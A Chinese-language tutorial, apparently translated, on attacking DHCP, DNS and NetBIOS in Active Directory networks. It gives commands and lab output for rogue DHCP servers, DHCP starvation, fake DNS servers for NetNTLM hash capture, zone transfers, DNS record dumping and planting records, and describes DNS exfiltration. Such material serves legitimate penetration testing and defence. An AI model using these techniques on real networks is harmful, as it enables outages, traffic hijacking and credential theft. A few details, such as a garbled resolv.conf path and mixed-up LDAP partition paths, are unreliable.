DHCP(Dynamic Host Configuration Protocol,DHCP)是一种用来网络中的计算机配置动态IP地址的协议。它是一种基于UDP协议的应用协议。它使用服务器端口67/UDP,并要求客户机从端口68/UDP发送消息。

 client                         server
 -----.                        .-----
      |                        |
     ---.      .------.      .---
 68/UDP |>---->| DHCP |>---->| 67/UDP
     ---'      '------'      '---
      |                        |
 -----'                        '-----

DHCP端口

在DHCP协议中,网络的新客户机会搜索DHCP服务器以获得允许它们与网络其余部分交互的正确配置。这个配置过程分为四个阶段:

  1. 服务器发现:客户端通过向255.255.255.255地址或网络广播地址发送广播消息来请求IP地址,以便到达DHCP服务器。
  2. IP租用提供:服务器应答(也是广播),内容为可以提供给客户机的IP地址及其他配置选项。
  3. IP租用请求:客户端收到提供的IP并发送消息进行请求。
  4. IP租用确认:服务器确认客户端可以使用所选的IP地址。此外,它还包括几个配置选项,如IP更新时间。

这些阶段通常缩写为DORA(发现、提供、请求、确认),并在计算机加入网络时触发。在Linux中,也可以使用dhclient命令手动触发DHCP配置;在Windows中,也可以使用ipconfig/renew来手动触发DHCP配置。

  client        server
    |             |
    |  discovery  |
    | ----------> |
    |             |
    |    offer    |
    | <---------- |
    |             |
    |   request   |
    | ----------> |
    |             |
    | acknowledge |
    | <---------- |
    |             |

DHCP的不同阶段

在众多配置选项中,需要格外关注下选项:

1.png

DHCP选项

为了检查网络DHCP服务器提供的选项,在Windows中,您可以使用ipconfig /all命令来检查网络接口配置(如果它配置为使用DHCP协议的话)。然而,在Linux中,不同的DHCP选项用于配置不同的文件,例如,要检查DNS服务器,应该检查/etc/analyv.conf文件,或者使用ip route命令来获取默认网关。

C:\Users\Anakin>ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : ws01-10
   Primary Dns Suffix  . . . . . . . : contoso.local
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : contoso.local

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : contoso.local
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
   Physical Address. . . . . . . . . : 52-54-00-76-87-BB
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 192.168.100.3(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : 30 November 2020 12:20:13
   Lease Expires . . . . . . . . . . : 08 December 2020 20:20:13
   Default Gateway . . . . . . . . . : 192.168.100.2
   DHCP Server . . . . . . . . . . . : 192.168.100.2
   DNS Servers . . . . . . . . . . . : 192.168.100.2
   Primary WINS Server . . . . . . . : 192.168.100.2
   NetBIOS over Tcpip. . . . . . . . : Disabled

Windows网络接口选项

此外,你可以用dhcplayer或nmap脚本broadcast-dhcp-discover来检查DHCP服务器提供的选项。然而,由于需要使用源端口68,所以要求root/admin权限。

root@debian10:~# nmap --script broadcast-dhcp-discover -e enp7s0
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-30 05:55 EST
Pre-scan script results:
| broadcast-dhcp-discover: 
|   Response 1 of 1: 
|     IP Offered: 192.168.100.7
|     DHCP Message Type: DHCPOFFER
|     Subnet Mask: 255.255.255.0
|     Renewal Time Value: 4d00h00m00s
|     Rebinding Time Value: 7d00h00m00s
|     IP Address Lease Time: 8d00h00m00s
|     Server Identifier: 192.168.100.2
|     WPAD: http://isalocal.contoso.local:80/wpad.dat\x00
|     Router: 192.168.100.2
|     Name Server: 192.168.100.2
|     Domain Name Server: 192.168.100.2
|     Domain Name: contoso.local\x00
|_    NetBIOS Name Server: 192.168.100.2
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.52 seconds

通过nmap来枚举DHCP选项

除了枚举之外,DHCP协议也可以被用来进行下列攻击:

DHCP饥饿/耗尽
流氓DHCP服务器

让我们看看它们是如何工作的。

Rogue DHCP server

由于DHCP的去中心化性质,网络中的任何机器都可以通过应答客户机的发现/请求信息来扮演DHCP服务器的角色。因此,攻击者可以创建一个流氓DHCP服务器,以便为客户机设置一个自定义配置。

我们可以通过DHCP服务器来配置:

网关/路由器
DNS服务器
NetBIOS/WINS名称服务器
WPAD

通过这种方式,客户机可能会被错误地配置为向流氓DNS服务器发送DNS请求,从而将其重定向到攻击者控制的计算机或域。为了进行这种攻击,可以使用yersinia或dhcplayer等工具。

$ dhcplayer server -I eth2 --wpad http://here.contoso.local/wpad.dat -v --domain contoso.local          
INFO - IP pool: 192.168.100.1-192.168.100.254
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.100.255
INFO - DHCP: 192.168.100.44
INFO - DNS: [192.168.100.44]
INFO - Router: [192.168.100.44]
INFO - WPAD: http://here.contoso.local/wpad.dat
INFO - Domain: contoso.local
INFO - REQUEST from 52:54:00:5d:56:b9 (debian10)
INFO - Requested IP 192.168.100.145
INFO - ACK to 192.168.100.145 for 52:54:00:5d:56:b9
INFO - REQUEST from 52:54:00:76:87:bb (ws01-10)
INFO - Requested IP 192.168.100.160
INFO - ACK to 192.168.100.160 for 52:54:00:76:87:bb

使用dhcplayer创建(流氓)DHCP服务器

DHCP Starvation

DHCP饥饿攻击是一种DOS攻击,在这种攻击中,发起攻击的客户机会请求获得DHCP服务器所能提供的全部可用IP地址。这样一来,合法客户机就无法获得IP地址,因此必须保持离线。通过使用像dhcpstarv、yersinia或dhcplayer这样的工具,就可以轻松发动这种攻击。

$ dhcpstarv -i enp7s0
08:03:09 11/30/20: got address 192.168.100.7 for 00:16:36:99:be:21 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.8 for 00:16:36:25:1f:1d from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.9 for 00:16:36:c7:79:f2 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.10 for 00:16:36:f4:c3:e9 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.11 for 00:16:36:dc:51:a1 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.12 for 00:16:36:c2:c2:06 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.13 for 00:16:36:15:e0:74 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.14 for 00:16:36:40:1c:02 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.15 for 00:16:36:c5:9a:c3 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.16 for 00:16:36:14:1a:b3 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.17 for 00:16:36:13:45:14 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.18 for 00:16:36:14:fb:18 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.19 for 00:16:36:b2:93:90 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.20 for 00:16:36:c7:38:f9 from 192.168.100.2

用dhcpstarv发动DHCP饥饿攻击

DHCP Discovery

从客户机的角度来看,DHCP也很有趣,因为可以用它获得某些有用的环境信息,而这正是它的设计初衷。

你可以向网络发送一个DISCOVER报文,并检查收到了什么信息。这是一种从无需身份验证的位置(如域或服务器地址,通常是域控制器)获取信息的方法。

$ dhcplayer discover -I eth2 -n

OFFER received from 192.168.100.2
Offered IP: 192.168.100.3
Client MAC: 52:54:00:88:80:0c
DHCP Server: 192.168.100.2
Options:
[1] Subnet Mask: 255.255.255.0
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.2
[3] Router: 192.168.100.2
[5] Name Server: 192.168.100.2
[6] Domain Server: 192.168.100.2
[15] Domain Name: contoso.local
[44] NetBIOS Name Server: 192.168.100.2
[77] Unknow: [0, 14, 82, 82, 65, 83, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 0, 80, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 82, 0, 111, 0, 117, 0, 116, 0, 105, 0, 110, 0, 103, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 82, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 65, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 74, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 114, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 97, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 99, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]
[77] Unknow: [0, 15, 66, 79, 79, 84, 80, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 40, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 58, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]
[252] WPAD: http://isalocal.contoso.local:80/wpad.dat

从DHCP服务器获取信息

DHCP Dynamic DNS

在Active Directory中,您可以(默认情况下)要求DHCP服务器根据DHCP请求中指示的客户机主机名来创建自定义的DNS A记录。这可能非常有用,因为执行该操作不需要任何类型的身份验证/授权。

PS C:\> Get-DhcpServerv4DnsSetting


DynamicUpdates             : OnClientRequest
DeleteDnsRROnLeaseExpiry   : True
UpdateDnsRRForOlderClients : False
DnsSuffix                  :
DisableDnsPtrRRUpdate      : False
NameProtection             : False

DHCP服务器的默认配置

客户机可以请求DNS更新DNS A记录,这时需要在DHCP请求中提供Client FQDN(Fully Qualified Domain Name)选项,将"S"标志设置为1,同时还要设置FQDN或主机名。如果更新完成,服务器将返回设置为1的相同标志。新的A记录将把客户机主机名指向所获得的IP地址。你可以通过使用带有-dns-update标志的dhcplayer来请求DNS更新。

$ dhcplayer discover -I eth2 --dns-update -H hira
ACK received from 0.0.0.0
Acquired IP: 192.168.100.121
Client MAC: 52:54:00:88:80:0c
Options:
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.240
[1] Subnet Mask: 255.255.255.0
[81] Client FQDN: flags: 0x1 (server-update) A-result: 255 PTR-result: 0 
[3] Router: 192.168.100.240
[15] Domain Name: poke.mon
[6] Domain Server: 192.168.100.240,192.168.100.240,192.168.100.2

$ nslookup hira.poke.mon 192.168.100.240                                                               
Server:     192.168.100.240
Address:    192.168.100.240#53

Name:   hira.poke.mon
Address: 192.168.100.121

用dhcplayer动态更新DNS

由于DHCP通常会将相同的地址分配给同一客户机(基于客户机的MAC地址),因此,您可以使用具有不同主机名的多个请求来更改DNS记录。另外,如果没有给出主机名,DNS记录将被删除。当DHCP租约到期时,DNS记录也会被删除。

然而,某些DNS名称是受DNS Global Query Block List(GQBL)保护的,这种情况下,即使你添加了一个DNS记录也不会被解析。默认情况下,这些名称是wpad和isatap。

PS C:\> Get-DnsServerGlobalQueryBlockList


Enable : True
List   : {wpad, isatap}

获取DNS Global Query Block List

DNS

DNS Basics

域名系统是为计算机、服务和网络的其他资源定义具有层次结构的名称的系统。DNS协议是一种客户机/服务器协议,其中服务器监听端口53/UDP和53/TCP。

          .---
 DNS ---> | 53/UDP|TCP
          '---

DNS端口

DNS主要用于将计算机的DNS名称解析为其IP地址。

    client                     DNS server
    .---.   A hackliza.gal?     .---.
   /   /| ------------------>  /   /|
  .---. |                     .---. |
  |   | '   185.199.111.153   |   | '
  |   |/  <------------------ |   |/ 
  '---'                       '---'

解析名称的DNS查询

除了解析名称之外,DNS还允许执行其他操作,如将IP映射到其名称或解析名称的别名。客户机可以执行各种不同的查询,服务器将尽力给予应答。为了做到这一点,DNS服务器将保存不同记录的集合。下面给出部分类型的记录:

  • A:将DNS名称映射到IPv4地址。
  • AAAA:将DNS名称映射到IPv6地址。
  • CNAME(Canonical Name):将称为别名的DNS名称映射到原始DNS名称。
  • DNAME:映射DNS子树。
  • NS(Name Server):为域指示DNS服务器。
  • PTR(Pointer):将IP地址映射到DNS名称(反向查找)。
  • SOA(Start of Authority):包含有关DNS区域的管理信息,例如主DNS服务器或管理员的邮件地址。
  • SRV(Service):指示服务的主机和端口。
root@debian10:~$ dig NS wikipedia.org

; <<>> DiG 9.16.6-Ubuntu <<>> NS wikipedia.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56753
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;wikipedia.org.         IN  NS

;; ANSWER SECTION:
wikipedia.org.      6704    IN  NS  ns1.wikimedia.org.
wikipedia.org.      6704    IN  NS  ns0.wikimedia.org.
wikipedia.org.      6704    IN  NS  ns2.wikimedia.org.

;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: jue dic 03 10:14:07 CET 2020
;; MSG SIZE  rcvd: 106

通过dig解析wikipedia.org的DNS服务器

所有这些记录都是由DNS服务器维护的(通常放到一个文本文件中),以便为其DNS区域提供信息。

DNS zones

DNS是分层的,并按区域划分。每个区域保存一个域及其子域的相关记录,但拥有自己区域的子域除外。例如,contoso公司可以建立如下两个区域:

contoso.com
mail.contoso.com
www.contoso.com

区域contoso.com

internal.contoso.com
it.internal.contoso.com
admin.internal.contoso.com
hr.internal.contoso.com

区域internal.contoso.com

每个DNS区域都是独立管理的。这样更容易保持记录的顺序。互联网上有许多不同的DNS区域,每个区域用于不同的域和组织。因此,DNS服务器需要在它们之间进行通信,以便提供其他区域的信息。例如,如果您想知道www.contoso.com的IP地址,您的DNS服务器就需要与管理contoso.com区域的contoso权威DNS服务器通信,以便检索该信息。

DNS exfiltration

这样一来,DNS 协议就可以成为渗透机制的绝佳盟友。在某些情况下,虽然服务器位于隔离网络中且无法访问互联网,但为了能够正常工作,却需要执行DNS查询。如果本地DNS服务器配置错误并向互联网中的其他DNS服务器发送递归型DNS请求,攻击者就能够利用它绕过防火墙规则并将数据发送到外部。

                             local recursive           fake.com authoritative
    client                     DNS server                   DNS server
    .---.                        .---.                        .---.         
   /   /|  websvr01.fake.com?   /   /|  websvr01.fake.com?   /   /|
  .---. | --------local------> .---. | ------internet-----> .---. |
  |   | '                      |   | '                      |   | '
  |   |/    40.113.200.201     |   |/    40.113.200.201     |   |/
  '---'   <------------------- '---'   <------------------- '---'

DNS递归查询

例如,对于某个处理域fake.com的DNS服务器来说,所有对fake.com及其子域的DNS查询都会到达该服务器。所以,若要渗出被隔离的服务器的名称,我们可以把它作为子域,并查询websvr01.fake.com。这个查询应该通过本地DNS服务器并到达我们在互联网上的DNS服务器。为了利用这种类型的技术,我们可以使用像iodine或dnscat2这样的工具。

Fake DNS server

此外,由于DNS对于网络资源管理而言非常重要,因此,对于攻击者,可以通过像流氓DHCP服务器这样的技术设置来冒牌的DNS服务器,这对于他们来说可能会非常有用。

通过一个冒牌的DNS服务器,我们可以将客户机的请求重定向到我们控制的机器上,以便搜集NetNTLM的哈希值,或者只是嗅探网络,等待未受保护的敏感信息自动上门。实际上,我们可以使用dnschef或responder.py等工具来创建一个冒牌的DNS服务器。

$ dnschef -i 192.168.100.44 --fakeip 192.168.100.44
          _                _          __  
         | | version 0.4  | |        / _| 
       __| |_ __  ___  ___| |__   ___| |_ 
      / _` | '_ \/ __|/ __| '_ \ / _ \  _|
     | (_| | | | \__ \ (__| | | |  __/ |  
      \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org  

(12:29:51) [*] DNSChef started on interface: 192.168.100.44
(12:29:51) [*] Using the following nameservers: 8.8.8.8
(12:29:51) [*] Cooking all A replies to point to 192.168.100.44
(12:38:32) [*] 192.168.100.7: proxying the response of type 'PTR' for 44.100.168.192.in-addr.arpa
(12:38:32) [*] 192.168.100.7: cooking the response of type 'A' for aaa.contoso.local to 192.168.100.44
(12:38:32) [*] 192.168.100.7: proxying the response of type 'AAAA' for aaa.contoso.local

利用dnschef创建冒牌的DNS服务器

DNS Zone Transfer

对于区域管理,攻击者通常会感兴趣的另一件事情就是区域复制(zone transfer)。区域复制用于将一个DNS服务器的所有记录复制到另一个DNS服务器,从而允许两个服务器都保持更新。但是,在某些情况下,由于DNS服务器配置失误,会导致任何人都可以执行区域复制操作。

在Active Directory中,在DC(通常是DNS服务器)之间复制DNS记录不需要进行DNS区域复制。但是,我们仍然可以启用它们,以便允许其他DNS服务器复制DNS信息。

区域复制可以按照区域和DC进行配置,这意味着可能只有一个DC允许执行区域复制,而其余的DC拒绝区域复制。在DC配置错误的情况下,任何人都可以执行区域复制,从而搜集所有DNS信息,而不需要任何凭据。以下命令可用于执行DNS区域复制:

    Linux: dig axfr <DNSDomainName> @<DCAddress>
    Windows: interactive nslookup ls -d <DNSDomainName>

root@debian10:~# dig axfr contoso.local @dc01.contoso.local

; <<>> DiG 9.11.5-P4-5.1+deb10u2-Debian <<>> axfr contoso.local @dc01.contoso.local
;; global options: +cmd
contoso.local.      3600    IN  SOA dc01.contoso.local. hostmaster.contoso.local. 156 900 600 86400 3600
contoso.local.      600 IN  A   192.168.100.3
contoso.local.      600 IN  A   192.168.100.2
contoso.local.      3600    IN  NS  dc01.contoso.local.
contoso.local.      3600    IN  NS  dc02.contoso.local.
_gc._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 3268 dc02.contoso.local.
_gc._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 3268 dc01.contoso.local.
_kerberos._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 88 dc02.contoso.local.
......................stripped output..................

利用dig通过DC进行区域复制

PS C:\> nslookup
Default Server:  UnKnown
Address:  192.168.100.2

> server dc01.contoso.local
Default Server:  dc01.contoso.local
Addresses:  192.168.100.2

> ls -d contoso.local
[UnKnown]
 contoso.local.                 SOA    dc01.contoso.local hostmaster.contoso.local. (159 900 600 86400 3600)
 contoso.local.                 A      192.168.100.3
 contoso.local.                 A      192.168.100.2
 contoso.local.                 NS     dc02.contoso.local
 contoso.local.                 NS     dc01.contoso.local
 _gc._tcp.Default-First-Site-Name._sites SRV    priority=0, weight=100, port=3268, dc02.contoso.local
 _gc._tcp.Default-First-Site-Name._sites SRV    priority=0, weight=100, port=3268, dc01.contoso.local
 _kerberos._tcp.Default-First-Site-Name._sites SRV    priority=0, weight=100, port=88, dc02.contoso.local
......................stripped output..................

利用nslookup通过DC进行区域复制

Dump DNS records

此外,由于DNS记录存储在Active Directory数据库中,即使不允许区域复制,也可以使用LDAP读取这些记录。因此,任何域用户都可以使用LDAP协议转储所有DNS记录。为此,可以使用adidnsdump工具(它将结果保存在records.csv文件中)或dns-dump.ps1脚本。

root@debian10:~# adidnsdump -u contoso\\Anakin contoso.local
Password: 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 37 records

root@debian10:~# head records.csv 
type,name,value
A,WS02-7,192.168.100.7
A,ws01-10,192.168.100.6
A,WIN-LBB9AO5FA13,192.168.100.6
A,win-4l1775e9t3u,192.168.100.2
A,ForestDnsZones,192.168.100.3
A,ForestDnsZones,192.168.122.254
A,ForestDnsZones,192.168.100.2
A,ForestDnsZones,192.168.122.111
A,DomainDnsZones,192.168.100.3

使用adidnsdump转储DNS

ADIDNS

因此,DNS是一个非常有用的协议,当然,也被用于Active Directory。在Active Directory使用的DNS实现版本是ADIDNS(Active Directory Integrated DNS),其中DNS服务器的角色主要由DC(域控制器)承担,因为它们的数据库包含域中计算机的DNS名称和其他DNS记录。在Active Directory中,DNS是解析名称的首选方法。解析协议的优先顺序是:

DNS
mDNS
LLMNR
NBNS

ADIDNS的工作方式与其他任何DNS实现方式类似,但也有一些不一样的地方。

与其他实现方式的主要区别是,DNS记录是通过Active Directory数据库进行维护的,而不是使用文本文件。这样一来,DNS记录就能与其他对象进行集成,并能使用Active Directory Domain Service,如可以进行自动复制,这样就不需要进行DNS区域复制了。

DNS记录可以存储在数据库中的以下位置之一:

DomainDnsZones分区:这个分区被复制到域的DC中。我们可以通过LDAP在CN=MicrosoftDNS、DC=DomainDnsZones、DC=<domainpart>、DC=<domainpart>的路径中访问DNS记录。
ForestDnsZones分区:这个分区被复制到林中的所有DC中。我们可以通过LDAP访问DNS记录,相应的路由为CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domainpart>,DC=<domainpart>。
Domain分区:在传统的系统中,DNS记录通常存储在这个分区中,它会被复制到域的DC中。我们可以通过LDAP访问DNS记录,相应的路由为CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domainpart>,DC=<domainpart>。

例如,要通过LDAP访问contoso.local中的DomainDnsZones分区,相应的路由将是CN=MicrosoftDNS,CN=System,DC=<domainpart>,DC=<domainpart>

作为特色之一,除了通常的DNS记录外,ADIDNS还维护特殊的SRV记录,可以用来在网络中找到某些资源。这使得我们可以通过查询以下SRV记录来识别DC。

    _gc._tcp.<DNSSDomainName>
    _kerberos._tcp.<DNSSDomainName>
    _kerberos._udp.<DNSSDomainName>
    _kpasswd._tcp.<DNSSDomainName>
    _kpasswd._udp.<DNSSDomainName>
    _ldap._tcp.<DNSSDomainName>
    _ldap._tcp.dc._msdcs.<DNSDomainName>

这些记录指向Active Directory中提供Global Catalog(_gc)、Kerberos(_Kerberos与_kpasswd)和LDAP(_LDAP)服务的服务器,它们都是域控制器。

例如,在Windows系统中,您可以通过nslookup-q=srv_ldap._tcp.dc._msdcs.contoso.local获得contoso.local域的DC;在Linux中,我们可以通过dig srv_ldap._tcp.dc.contoso.local获得contoso.local域的DC。

PS C:\> nslookup -q=srv _ldap._tcp.contoso.local
Server:  ip6-localhost
Address:  ::1

_ldap._tcp.contoso.local        SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc01.contoso.local
_ldap._tcp.contoso.local        SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc02.contoso.local
dc01.contoso.local      internet address = 192.168.100.2
dc02.contoso.local      internet address = 192.168.100.6

使用nslookup,通过DNS查询发现DC

通过解析域名<dnsdomainname>,也可以获得DC的IP地址。此外,我们还可以通过查询_ldap._tcp.pdc._msdcs.<dnsdomainname>来发现主DC。

DNS dynamic updates

DNS中还有一个机制需要介绍,即动态更新。动态更新允许客户创建/修改/删除DNS记录。在Active Directory中,默认情况下只允许安全的动态更新。这意味着DNS记录受到ACL的保护,只有授权的用户才可以修改。

默认情况下,任何用户都可以创建一个新的DNS记录(该用户将成为其所有者),只有所有者才可以更新或删除该DNS记录。因此,如果一个用户想创建一个已经存在的DNS记录,访问就会被拒绝。为了通过DNS动态更新创建新的DNS记录,可以使用脚本Invoke-DNSUpdate。

PS C:\> Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 192.168.100.100 -Verbose
VERBOSE: [+] Domain Controller = dc01.contoso.local
VERBOSE: [+] Domain = contoso.local
VERBOSE: [+] Kerberos Realm = contoso.local
VERBOSE: [+] DNS Zone = contoso.local
VERBOSE: [+] TKEY name 676-ms-7.1-0967.05293487-9821-11e7-4051-000c296694e0
VERBOSE: [+] Kerberos preauthentication successful
VERBOSE: [+] Kerberos TKEY query successful
[+] DNS update successful
PS C:\> nslookup test
Server:  UnKnown
Address:  192.168.100.2

Name:    test.contoso.local
Address:  192.168.100.100

使用Invoke-DNSUpdate更新DNS

那么,DNS是如何允许经过身份验证的请求的呢?实际上,这是通过使用TSIG(事务签名)协议来实现,该协议要求用服务器和客户机之间的共享密钥对消息进行签名。对于Active Directory,该共享密钥是通过Kerberos协议获得的。

回到动态更新功能,我们需要关注的一个记录就是通配符记录*。通配符记录用于指定默认IP地址,该地址用于解析那些与任何其他记录都不匹配的查询。如果它被用来指向我们控制的计算机,那么在执行PitM攻击时将会非常有用。但是,由于进行字符处理时会报错,所以,动态更新不允许注册通配符记录。

幸运的是,由于DNS记录存储在Active Directory数据库中,因此可以使用LDAP创建/修改/删除这些记录。我们可以通过LDAP协议,使用Powermad和dnstool.py来处理DNS记录。使用Inveigh时,还可以利用这种技术来搜集NetNTLM哈希值。但是,务必记住在完成上述任务后删除已注册的DNS记录,以避免导致网络问题。

但是,有些DNS名称受DNS Global Query Block List(GQBL)的保护,即使添加了DNS记录也不会被解析。默认情况下,指的就是wpad和isatap。

PS C:\> Get-DnsServerGlobalQueryBlockList


Enable : True
List   : {wpad, isatap}

获取DNS Global Query Block List

有关动态更新和相关攻击的更多信息,您可以参考以下资源:

Beyond LLMNR/NBNS Spoofing - Exploiting Active Directory-Integrated DNS
ADIDNS Revisited - WPAD, GQBL, and More

NetBIOS

NetBIOS(Network Basic Input/Output System,NetBIOS)是OSI模型的第5层协议(与计算机BIOS无关)。它开发于1983年,通过该协议,同一局域网(局域网)中的应用程序可以实现互相通信。如今,NetBIOS变得非常流行,并被许多不同的应用程序所使用,然而,它无法在不同的网络间通信。因此,在1987年,创建了NBT(NetBIOS over TCP/IP)协议(RFC 1001和RFC 1002),使NetBIOS可以在TCP和UDP协议上工作,并允许使用NetBIOS的应用程序在互联网上进行通信。

它分为三个服务,一个是用于解析NetBIOS名称的NetBIOS名称服务,另外两个是用于传输消息(类似于TCP和UDP)的NetBIOS数据报和会话服务。

                       .-----
                       |
     .------.        .---
     | NBNS |--UDP-->| 137
     '------'        '---
                       |   
    .-------.        .---
    | NBDGM |--UDP-->| 138
    '-------'        '---
                       |
    .-------.        .---
    | NBSSN |--TCP-->| 139
    '-------'        '---
                       |
                       '-----

NetBIOS端口

NetBIOS Datagram Service

NetBIOS数据报服务或NetBIOS-DGM或NBDGM的功能类似于UDP协议。它被用作需要无连接通信的应用程序协议的传输层。相应的服务器将侦听UDP端口138。

NetBIOS Session Service

NetBIOS会话服务或NetBIOS-SSN或NBSSN的功能类似于TCP协议。它可以作为面向连接的通信的传输工具。它使用139/TCP端口。

NetBIOS Name Service

从渗透测试的角度来看,最让人感兴趣的NetBIOS服务可能是NBNS(NetBIOS Name Service),它会侦听端口137/UDP。该服务能够:

  • 将NetBIOS名称解析为IP地址
  • 获取NetBIOS节点的状态
  • 注册/释放NetBIOS名称

与DNS名称相比,NetBIOS名称不是层次结构的,所以只能在本地网络中使用。这些名称由16个字节组成,其中前15个字节用于存储大写字母形式的名称,最后一个字节表示该名称对应资源的类型,可以是主机名、域名、文件服务等。要查看本地Windows计算机的NetBIOS名称,可以使用nbtstat-n命令。

C:\Users\Anakin>nbtstat -n

Ethernet 2:
Node IpAddress: [192.168.100.10] Scope Id: []
            NetBIOS Local Name Table

   Name               Type         Status
---------------------------------------------
WS01-10        <20>  UNIQUE      Registered
WS01-10        <00>  UNIQUE      Registered
CONTOSO        <00>  GROUP       Registered

本地计算机的NetBIOS名称

正如我们所看到的,这里显示了多个不同类型的名称。为了识别它们,您可以使用下表,其中给了最常见名称,但这个表并不全面:

Number  Type    Usage
00  UNIQUE  Hostname
00  GROUP   Domain name
01  GROUP   Master Browser
1D  UNIQUE  Master Browser
1E  GROUP   Browser service
20  UNIQUE  File server

NetBIOS名称类型

对于NBNS协议,微软也实现了自己的版本,即WINS(Windows Internet Name Service)。在网络中,每台Windows计算机都有一个WINS数据库,存储可用的网络资源,及其netbios和域(或工作组)的名称。此外,还可以在网络中设置一个WINS服务器,其工作方式类似于NetBIOS名称的DNS服务器。

因此,为了解析NetBIOS名称,实际上有两种可用的策略。第一种是通过查询WINS服务器查询来解析名称。如果这种策略无法实施,那么可以将查询发送到IP广播地址,并等待目标计算机的应答。当一个NetBIOS名称被用来连接到另一台机器时,可以使用诸如net view\name这样的命令对NBNS名称进行解析。在Linux机器中,可以使用nmblookup工具来解析NetBIOS名称。

# nmblookup ws01-10
192.168.100.10 ws01-10<00>

使用nmblookup解析名称

必须注意的是,在广播请求的情况下,任何计算机都可以响应查询,因此,攻击者可以藉此冒充真实的计算机。这正是responder.py和Inveigh搜集NTLM哈希值的战术之一。

此外,只要有任何其他协议可以解析名称请求,就不要使用NBNS。选择这些协议时,优先顺序如下:

DNS
mDNS
LLMNR
NBNS

此外,在知道NetBIOS节点的IP地址的情况下,您可以使用该地址查询相关服务。在Windows计算机中,为此可以使用nbtstat命令:

C:\Users\Anakin>nbtstat -A 192.168.100.4

Ethernet 2:
Node IpAddress: [192.168.100.3] Scope Id: []

           NetBIOS Remote Machine Name Table

       Name               Type         Status
    ---------------------------------------------
    WS02-7         <00>  UNIQUE      Registered
    CONTOSO        <00>  GROUP       Registered
    WS02-7         <20>  UNIQUE      Registered
    CONTOSO        <1E>  GROUP       Registered
    CONTOSO        <1D>  UNIQUE      Registered
    ☺☻__MSBROWSE__☻<01>  GROUP       Registered

    MAC Address = 52-54-00-A4-8C-F2

使用ntbstat解析主机名和服务

在nbstat的输出结果中,您可以看到主机名、域(或工作组)名以及计算机的多种服务,具体可通过类型进行区分。关于类型列中各项的含义,请参阅https://web.archive.org/web/20031010135027/http://www.neohapsis.com:80/resources/wins.htm#sec2

